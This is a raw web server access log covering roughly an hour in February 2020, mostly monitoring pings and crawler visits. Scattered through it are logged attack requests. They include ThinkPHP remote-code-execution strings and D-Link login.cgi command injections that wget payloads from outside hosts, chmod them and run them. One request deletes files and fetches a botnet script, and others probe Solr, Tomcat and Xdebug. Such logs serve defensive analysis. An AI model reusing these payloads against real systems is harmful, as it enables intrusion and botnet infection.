212.91.246.72 - - [07/Feb/2020:21:06:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:21:07:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:21:08:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:21:09:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:21:10:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:21:11:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
169.197.108.38 - - [07/Feb/2020:21:11:54 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36"
212.91.246.72 - - [07/Feb/2020:21:12:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
197.156.130.38 - - [07/Feb/2020:21:13:11 +0100] "GET /manager/html HTTP/1.1" 404 317 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; WOW64; Trident/6.0)"
197.156.130.38 - - [07/Feb/2020:21:13:11 +0100] "GET /manager/html HTTP/1.1" 404 317 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; WOW64; Trident/6.0)"
197.156.130.38 - - [07/Feb/2020:21:13:11 +0100] "GET /manager/html HTTP/1.1" 404 317 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; WOW64; Trident/6.0)"
212.91.246.72 - - [07/Feb/2020:21:13:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
50.5.232.119 - - [07/Feb/2020:21:14:04 +0100] "GET / HTTP/1.1" 200 1229 "-" "-"
50.5.232.119 - - [07/Feb/2020:21:14:04 +0100] "GET / HTTP/1.1" 200 1229 "-" "-"
50.5.232.119 - - [07/Feb/2020:21:14:05 +0100] "GET / HTTP/1.1" 200 1229 "-" "-"
50.5.232.119 - - [07/Feb/2020:21:14:05 +0100] "GET / HTTP/1.1" 200 1229 "-" "-"
50.5.232.119 - - [07/Feb/2020:21:14:05 +0100] "GET / HTTP/1.1" 200 1229 "-" "-"
50.5.232.119 - - [07/Feb/2020:21:14:05 +0100] "GET / HTTP/1.1" 200 1229 "-" "-"
50.5.232.119 - - [07/Feb/2020:21:14:05 +0100] "GET / HTTP/1.1" 200 1229 "-" "-"
50.5.232.119 - - [07/Feb/2020:21:14:05 +0100] "GET / HTTP/1.1" 200 1229 "-" "-"
50.5.232.119 - - [07/Feb/2020:21:14:05 +0100] "GET / HTTP/1.1" 200 1229 "-" "-"
50.5.232.119 - - [07/Feb/2020:21:14:05 +0100] "GET / HTTP/1.1" 200 1229 "-" "-"
113.22.15.115 - - [07/Feb/2020:21:14:24 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [07/Feb/2020:21:14:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
104.128.92.120 - - [07/Feb/2020:21:14:51 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [07/Feb/2020:21:15:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:21:16:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
222.136.145.169 - - [07/Feb/2020:21:16:59 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [07/Feb/2020:21:17:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
109.194.114.36 - - [07/Feb/2020:21:18:14 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [07/Feb/2020:21:18:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:21:19:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
185.95.186.12 - - [07/Feb/2020:21:19:55 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [07/Feb/2020:21:20:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:21:21:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:21:22:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:21:23:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:21:24:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
121.231.37.232 - - [07/Feb/2020:21:24:46 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [07/Feb/2020:21:25:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
118.68.126.59 - - [07/Feb/2020:21:26:02 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [07/Feb/2020:21:26:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:21:27:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
84.54.153.41 - - [07/Feb/2020:21:28:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
79.10.247.48 - - [07/Feb/2020:21:28:33 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [07/Feb/2020:21:28:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
65.132.59.34 - - [07/Feb/2020:21:28:41 +0100] "GET /robots.txt HTTP/1.1" 404 330 "-" "Gigabot (1.1 1.2)"
65.132.59.34 - - [07/Feb/2020:21:28:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Gigabot (1.1 1.2)"
212.91.246.72 - - [07/Feb/2020:21:29:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
1.55.187.127 - - [07/Feb/2020:21:29:46 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
80.82.70.118 - - [07/Feb/2020:21:30:37 +0100] "\x16\x03\x02\x01o\x01" 501 321 "-" "-"
212.91.246.72 - - [07/Feb/2020:21:30:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:21:31:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
80.82.70.118 - - [07/Feb/2020:21:31:38 +0100] "\x16\x03\x02\x01o\x01" 501 321 "-" "-"
80.82.70.118 - - [07/Feb/2020:21:32:05 +0100] "\x16\x03\x02\x01o\x01" 501 321 "-" "-"
170.231.143.9 - - [07/Feb/2020:21:32:09 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
80.82.70.118 - - [07/Feb/2020:21:32:36 +0100] "\x16\x03\x02\x01o\x01" 501 321 "-" "-"
212.91.246.72 - - [07/Feb/2020:21:32:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
80.82.70.118 - - [07/Feb/2020:21:32:54 +0100] "\x16\x03\x02\x01o\x01" 501 321 "-" "-"
212.91.246.72 - - [07/Feb/2020:21:33:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.118.196.152 - - [07/Feb/2020:21:33:44 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [07/Feb/2020:21:34:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:21:35:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:21:36:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:21:37:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:21:38:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:21:39:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.236.128.71 - - [07/Feb/2020:21:39:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [07/Feb/2020:21:40:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:21:41:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
112.161.111.175 - - [07/Feb/2020:21:42:17 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
112.161.111.175 - - [07/Feb/2020:21:42:22 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
112.161.111.175 - - [07/Feb/2020:21:42:28 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [07/Feb/2020:21:42:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
112.161.111.175 - - [07/Feb/2020:21:42:40 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
118.68.116.119 - - [07/Feb/2020:21:42:59 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
112.161.111.175 - - [07/Feb/2020:21:43:04 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [07/Feb/2020:21:43:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
62.210.169.121 - - [07/Feb/2020:21:44:13 +0100] "GET http://45.76.45.209/ HTTP/1.1" 200 1229 "-" "Go-http-client/1.1"
212.91.246.72 - - [07/Feb/2020:21:44:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
46.219.23.166 - - [07/Feb/2020:21:45:21 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
180.253.219.7 - - [07/Feb/2020:21:45:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [07/Feb/2020:21:45:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:21:46:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:21:47:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:21:48:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:21:49:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
118.71.143.108 - - [07/Feb/2020:21:50:15 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [07/Feb/2020:21:50:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
91.203.193.47 - - [07/Feb/2020:21:51:08 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [07/Feb/2020:21:51:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:21:52:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
46.181.105.245 - - [07/Feb/2020:21:53:04 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [07/Feb/2020:21:53:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
217.71.228.181 - - [07/Feb/2020:21:54:06 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
217.71.228.181 - - [07/Feb/2020:21:54:06 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [07/Feb/2020:21:54:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:21:55:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:21:56:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
1.52.251.64 - - [07/Feb/2020:21:57:12 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [07/Feb/2020:21:57:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:21:58:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:21:59:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.101.0.209 - - [07/Feb/2020:21:59:39 +0100] "GET /?XDEBUG_SESSION_START=phpstorm HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
5.101.0.209 - - [07/Feb/2020:21:59:39 +0100] "GET /index.php?s=/Index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
5.101.0.209 - - [07/Feb/2020:21:59:39 +0100] "GET /?a=fetch&content=<php>die(@md5(HelloThinkCMF))</php> HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
5.101.0.209 - - [07/Feb/2020:21:59:39 +0100] "GET /solr/admin/info/system?wt=json HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
5.101.0.209 - - [07/Feb/2020:22:00:13 +0100] "GET /solr/admin/info/system?wt=json HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
5.101.0.209 - - [07/Feb/2020:22:00:13 +0100] "GET /?XDEBUG_SESSION_START=phpstorm HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
5.101.0.209 - - [07/Feb/2020:22:00:13 +0100] "GET /?a=fetch&content=<php>die(@md5(HelloThinkCMF))</php> HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
5.101.0.209 - - [07/Feb/2020:22:00:13 +0100] "GET /index.php?s=/Index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
5.101.0.209 - - [07/Feb/2020:22:00:18 +0100] "GET /solr/admin/info/system?wt=json HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
5.101.0.209 - - [07/Feb/2020:22:00:18 +0100] "GET /?a=fetch&content=<php>die(@md5(HelloThinkCMF))</php> HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
5.101.0.209 - - [07/Feb/2020:22:00:18 +0100] "GET /index.php?s=/Index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
5.101.0.209 - - [07/Feb/2020:22:00:18 +0100] "GET /?XDEBUG_SESSION_START=phpstorm HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
92.118.160.45 - - [07/Feb/2020:22:00:27 +0100] "GET / HTTP/1.0" 200 1229 "-" "NetSystemsResearch studies the availability of various services across the internet. Our website is netsystemsresearch.com"
5.101.0.209 - - [07/Feb/2020:22:00:36 +0100] "GET /?XDEBUG_SESSION_START=phpstorm HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
5.101.0.209 - - [07/Feb/2020:22:00:36 +0100] "GET /solr/admin/info/system?wt=json HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
5.101.0.209 - - [07/Feb/2020:22:00:36 +0100] "GET /index.php?s=/Index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
5.101.0.209 - - [07/Feb/2020:22:00:36 +0100] "GET /?a=fetch&content=<php>die(@md5(HelloThinkCMF))</php> HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
212.91.246.72 - - [07/Feb/2020:22:00:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:22:01:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:22:02:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
121.178.8.198 - - [07/Feb/2020:22:03:22 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.178.8.198 - - [07/Feb/2020:22:03:27 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
128.14.134.170 - - [07/Feb/2020:22:03:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36"
121.178.8.198 - - [07/Feb/2020:22:03:33 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [07/Feb/2020:22:03:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
121.178.8.198 - - [07/Feb/2020:22:03:45 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.178.8.198 - - [07/Feb/2020:22:04:09 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
183.80.22.226 - - [07/Feb/2020:22:04:25 +0100] "GET /shell?cd+/tmp;rm+-rf+*;wget+http://scan.casualaffinity.net/jaws;sh+/tmp/jaws HTTP/1.1" 404 306 "-" "Hello, world"
212.91.246.72 - - [07/Feb/2020:22:04:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:22:05:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
1.54.135.187 - - [07/Feb/2020:22:05:55 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [07/Feb/2020:22:06:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:22:07:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
